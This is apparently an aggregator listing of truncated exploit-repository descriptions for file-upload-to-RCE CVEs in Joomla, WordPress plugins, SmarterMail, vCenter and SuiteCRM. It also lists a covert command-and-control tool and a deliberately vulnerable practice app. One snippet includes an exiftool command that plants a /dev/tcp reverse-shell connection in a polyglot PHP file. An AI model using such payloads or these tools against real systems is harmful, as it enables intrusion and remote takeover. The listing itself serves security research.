CVE-2026-57827

CVE-2026-57827 — Componente RSFiles! de Joomla: RCE por subida de archivos no autenticada Bypass de subida por controlador dividido → Tarea de escritura directa → /downloads/shell.php → RCE Resumen CVE-2026-57827 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad...

CVE-2023-24610

CVE-2023-24610 Esto es una prueba de concepto para CVE-2023-24610 Comenzamos creando un archivo políglota usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamos el archivo a png para que pase la verificación del front-end Después, iniciamos un listener...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: Carga Arbitraria de Archivos en SmarterMail RCE Mejorado con APT Este es un exploit de prueba de concepto PoC mejorado para CVE-2025-52691 , una vulnerabilidad crítica en el software de servidor de correo SmarterTools SmarterMail que permite la carga arbitraria de archivos sin...

CVE-2026-3844-Lab

CVE-2026-3844 — Laboratorio de Subida de Archivos Arbitraria No Autenticada a RCE en Breeze Cache Laboratorio Docker local para reproducir y comparar el comportamiento de CVE-2026-3844 en el plugin Breeze Cache de WordPress. Este repositorio demuestra el comportamiento vulnerable en Breeze Cache...

CVE-2025-12189

Bread & Butter: Protege contenido + Captura clientes potenciales + Recopila datos de primera parte + Nutre con agentes de IA CSRF Attack function exploit...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce = 1.5.0 - Subida de archivos arbitraria no autenticada 💣 Pix for WooCommerce = 1.5.0 – Subida de archivos arbitraria no autenticada CVE-2026-3891 👤 Nxploited 🧩 Descripción El plugin Pix for WooCommerce para WordPress es vulnerable a la subida de archivos arbitrar...

covert-control

covert-control 通过将文件上传到 Google Drive、OneDrive、Youtube 或 Telegram 来远程控制系统，使用 Python 创建文件及监听器。支持创建文本文件、图像、音频或视频，命令可使用明文或 AES 加密。 covert-googledrive.py - 将文件上传至 Google Drive 的公共文件夹，控制系统。 covert-onedrive.py - 将文件上传至 OneDrive 的公共文件夹，控制系统。 covert-youtube.py - 将视频上传至 Youtube，控制系统（从 covert-tube 更新）。...

CVE-2024-27665

CVE-2024-27665 Unifiedtransform v2.X es vulnerable a Cross-Site Scripting XSS Almacenado mediante la función de carga de archivos en el módulo Syllabus. Vendor: https://github.com/changeweb/Unifiedtransform PoC Paso 1: Inicie sesión en la aplicación y navegue al módulo Academic. Paso 2: Cree...

SuiteCRM-RCE

CVE-2020-28328 Ejecución remota de código en SuiteCRM a través de la configuración del sistema de archivos de registro y envenenamiento del archivo de registro Descripción general Recientemente descubrí dos vulnerabilidades en SuiteCRM que proporcionan una cadena de ataque para que un usuario con...

CVE-2026-41651

CVE-2026-41651 TLDR: Sube el exploit al objetivo y luego ejecuta python3 exploit.py...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / Exploit RCE de 0-Click Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Este repositorio contiene un exploit de prueba de concepto para CVE-2024-51793, una vulnerabilidad de subida de archivos arbitrarios sin autenticación en un plugin de WordPress...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - Escritura Arbitraria de Archivos No Autenticada mediante el Orden de Inicialización/Finalización de la Subida Fragmentada CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — Escritura Arbitraria de Archivos No Autenticada mediante Subida Fragmentada Exploit de Prueba d...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 Resumen de la vulnerabilidad El 21 de septiembre de 2021, VMware publicó un aviso de seguridad en el que se revelaron 19 vulnerabilidades de seguridad en vCenter Server, con puntuaciones CVSSv3 que oscilaban entre 4.3 y 9.8. Entre ellas, la más grave es la vulnerabilidad d...

CVE-2020-29607

CVE-2020-29607-Exploit Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution Authenticated CVE description: A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality,...

whoc

whoc A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform! WhoC at Defcon 29 Cloud Village Azurescape - whoc-powered research, the first cross-account container takeover i...

XSS2Shell

XSS2Shell XSS2Shell es una prueba de concepto educativa para CVE-2026-64638 , que demuestra el impacto de un problema de XSS pre-autenticación en instalaciones WordPress vulnerables. Con la participación explícita de un administrador, la PoC captura una Contraseña de aplicación de WordPress,...

diario-commandline-tools

diario-commandline-client ¿Qué es esto? Supuestos Instalación Configuración del proyecto Uso ¿Qué es esto? Un repositorio de utilidades creado para facilitar el consumo masivo de la API de diario. Actualmente estas funciones están totalmente implementadas: Subir un archivo documento PDF o Microso...

rsfiles-CVE-2026-57827

CVE-2026-57827 — RSFiles! Subida de archivos sin autenticación → RCE Aviso legal: solo uso autorizado. Esto es una prueba de concepto para investigación de seguridad y pruebas defensivas. Eres responsable de usarlo solo en sistemas que te pertenezcan o para los que tengas permiso explícito por...

CVE-2021-22006

CVE-2021-22005 - Subida de archivos a RCE en VMWare vCenter Server Analizar Uso ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...

ninjasworkout

Damn Vulnerable NodeJS Application 快速开始 Download the Repo = run npm i 安装所有依赖后，运行应用程序 node app.js or nodemon app.js 已添加的漏洞 原型污染 ✅1 No SQL注入 ✅2 跨站脚本 ✅3 访问控制失效 ✅4 会话管理失效 ✅5 正则表达式实现薄弱 ✅6 竞争条件 ✅7 CSRF -跨站请求伪造 ✅8 暴力破解保护薄弱 ✅9 用户枚举 ✅10 重置密码令牌在Referrer中泄露 ✅11 重置密码漏洞 ✅12 敏感数据暴露 ✅13 Unicode大小写映射冲突 ✅14 文件上传...